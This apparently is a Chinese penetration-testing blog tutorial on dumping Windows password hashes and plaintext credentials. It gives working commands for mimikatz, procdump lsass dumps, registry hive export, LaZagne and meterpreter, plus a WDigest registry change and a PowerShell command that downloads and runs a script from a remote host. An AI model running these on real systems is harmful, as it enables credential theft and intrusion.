windows中抓取hash小结(上)

  我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个“前提”-----如何在windows系统中抓hash

 

0x01 前言

 事先声明,本文还是暂时不考虑免杀的问题,有些杀软十分变态,针对lsass等关键部位的防护非常好,一有风吹草动立刻报警,绕过方法还有待测试......不过这并不耽误我整理一下小知识点(怒)

 本文中提到的“杀软”只是特指  XX安全软件  这一款安全产品,仅反映当前杀软的一个查杀趋势,不代表所有杀软,毕竟这东西能力有强有弱侧重点也有不同

 

 先说一下windows系统的身份认证机制

windows中身份认证机制主要有两种:ntlm 、kerberos。ntlm用于本地和早期工作组环境(lm太老了不讨论),kerberos用于域环境

其中ntlm应用非常广,既能用于有域环境的认证,也能用于没域环境的认证

当ntlm用于没域环境的本地认证时:开机调用登录框让你输密码,系统把密码传给lsass.exe进程。lsass把你输入的密码二话不说先在内存中存一份明文的,当把明文密码加密成NTLM hash之后和windows系统本地存储的SAM数据库中这个登录用户的NTLM hash进行对比,如果一致则登录成功

 

当ntlm用于有域环境的网络认证时:可以使用kerberos,也可以使用ntlm。这里的ntlm基于一种叫做challenge/response的机制(具体不展开了,网上有讲细节的),这个过程会用到域控中的本地数据库ntds.dit(这里有域用户的ntlm hash)

可见整个过程都没有明文密码啥事情

 

0x02 从SAM或lsass进程中抓取

SAM在windows路径C:\\windows\System32\config下,是个锁定的不可复制的文件,于是在系统运行的时候经常在内存中找凭证

 

1.mimikatz

啊,这个,就不说了,之前文章演示好多了

要抓哪台机器就在哪台机器上运行,管理员权限运行

高版本windows系统(win10、win2012 R2以上版本存在只能抓hash不能抓明文的问题,会显示null,因为系统内存缓存中不再存有明文了)抓取明文存在问题,hash可以

想要继续抓明文要改注册表:

命令--------   reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

对方目标机器再次登录就能用mimikatz抓明文了,但一般来说会把lsass转出来拖回本地来规避杀软,这个后面小点再说

然而mimikatz不做免杀,基本上就会被杀软直接干掉,秒没

这里有一个人R1ngk3y 有关mimikatz如何不被杀的一些思路,时间也比较久了,截止今日不知是否都还能用,未经验证仅供参考:https://www.freebuf.com/articles/web/176796.html

 

2.getpass

一个可以直接获得明文密码的工具,年久失修,虽然很多人提过这款工具,但我是没用过的,电脑里也没有(请原谅我的无知)

 

3.wce

 啊,简单粗暴

wce.exe -w  抓明文

wce.exe -l 抓hash

下载地址(链接来自看雪)
http://www.ampliasecurity.com/research/wce_v1_4beta_x32.zip
http://www.ampliasecurity.com/research/wce_v1_4beta_x64.zip
http://www.ampliasecurity.com/research/wce_v1_4beta_universal.zip

 

4.PwDump7

 

 

 保证这俩在一个目录下,直接cmd运行

 

 但是,抓出来的结果一言难尽......直接运行百分百被杀软杀,不运行也可能被杀

 

 PwDump8

效果要比PwDump7好得多

 

 该抓的都抓到了,且没有被杀掉

 

5.Quarks PwDump

 

 

 也是直接cmd运行的

 

Quarks PwDump.exe --dump-hash-local 导出本地hash

 效果与PwDump7差不多,也是运行必被杀

 

6.powershell

不做特殊说明,以下脚本都默认会被查杀

(1)Invoke-Mimikatz.ps1 

用的是nishang里面带的

在本地运行

 

 

这个脚本还可以远程加载如:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.25.203/');Invoke-Mimikatz -DumpCreds"

 

但是这种动作和行为性质非常恶劣,一定会被杀软查杀的

于是有了各种各样免杀的手段,特别好玩

我推荐大佬  Tide重剑无锋   的这篇文章 https://www.freebuf.com/news/234365.html

 

(我直呼好家伙,发律师函的怕不是手都发麻了)

 

(2)Get-PassHashes.ps1

 

powershell IEX (New-Object Net.WebClient).DownloadString('Get-PassHashes.ps1所在路径');Get-PassHashes
啊,也是从nishang里面捞的

 

 还行,效果一般

 

7.Procdump+mimikatz

 procdump,官方工具(意味着不会被当成病毒杀了),可将lsass.exe转储成dmp文件

procdump.exe -accepteula -ma lsass.exe lsass.dmp   #32位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系统

 

 

 

 

然后用mimikatz读取

sekurlsa::minidump lsass.dmp

sekurlsa::logonpasswords full

 

 

 

 

 当然前提还是在目标机上读取的话,要免杀mimikatz,不然就拖回来读取

 

8.注册表+mimikatz

首先在目标机器上执行下图的命令导出三个文件,然后通过shell或者IPC$ copy或者net use共享或者什么办法把这三个文件下载回攻击机

 

 

 然后在本地上就可以用mimikatz来读取这三个文件了

 至于去破解还是去干嘛就随意了

 

9.LaZagne

基于py,密码抓取神器,能一键提取各种密码:浏览器、git、WiFi......

这东西本身是py的,也有exe格式的

下载链接:https://github.com/AlessandroZ/LaZagne

https://github.com/AlessandroZ/LaZagne/releases/tag/2.4.3

个人觉得还是exe的好用,py的需要安一堆依赖

pip install -r requirements.txt

 

 运行权限越高可能抓到的密码就越多

非常强悍,看得我后背发凉(还顺便找到了几个我自己都忘了是啥的密码)真就是啥都能抓到,既有hash也有明文糊脸

 

(另:cmd窗体的结果如果看不全的话,把屏幕缓冲区大小调大即可)

 

 

LaZagne有很多功能,详细命令网上有,不列举了

但同样的问题,就是免杀,我本机上XX安全软件没有报警不意味着这个工具就是直接可用的

 

10.框架调用

 msf中获得meterpreter后,在meterpreter>load mimikatz之后msv可获取hash(具体例子可以去翻我的第一篇博客,有关域渗透小实验的那个)

先提个权getsystem

msv     获取hash

kerberos   获取明文

mimikatz_command -f samdump::hashs   获取hash

mimikatz_command -f sekurlsa::searchPasswords   获取明文

 

 

 这只是理论上的,实际上可能因为各种原因,失败抓不到也很正常......

 

或者调用smart_hashdump脚本

run windows/gather/smart_hashdump

 效果会好一些

 

 另外,cobalt strike与Empire中也能调用mimikatz,这个找机会讲到这俩的时候再说吧

 

11.SqlDumper

又一个微软的东西,SQLserver2000以上自带,作用就是将应用程序转储成dump文件

我手中没有MSSQL环境了,无法演示了,大致过程如下:

 

先在目标机器中找lsass的PID号

然后把这个号带入 sqldumper.exe ProcessID 0 0x01100   这个语句中执行

会导出一个mdmp文件,下载回本地mimikatz解析

 

(写着写着刹不住车了,太长了影响观感。剩下内容就留到    windows中抓取hash小结(下) 中了)

 

 

 请转到windows中抓取hash小结(下)

指路链接   https://www.cnblogs.com/lcxblogs/p/14002468.html

随便转载,请标明作者出处

 

posted @ 2020-11-18 22:03  anoldcat  阅读(3568)  评论(0编辑  收藏  举报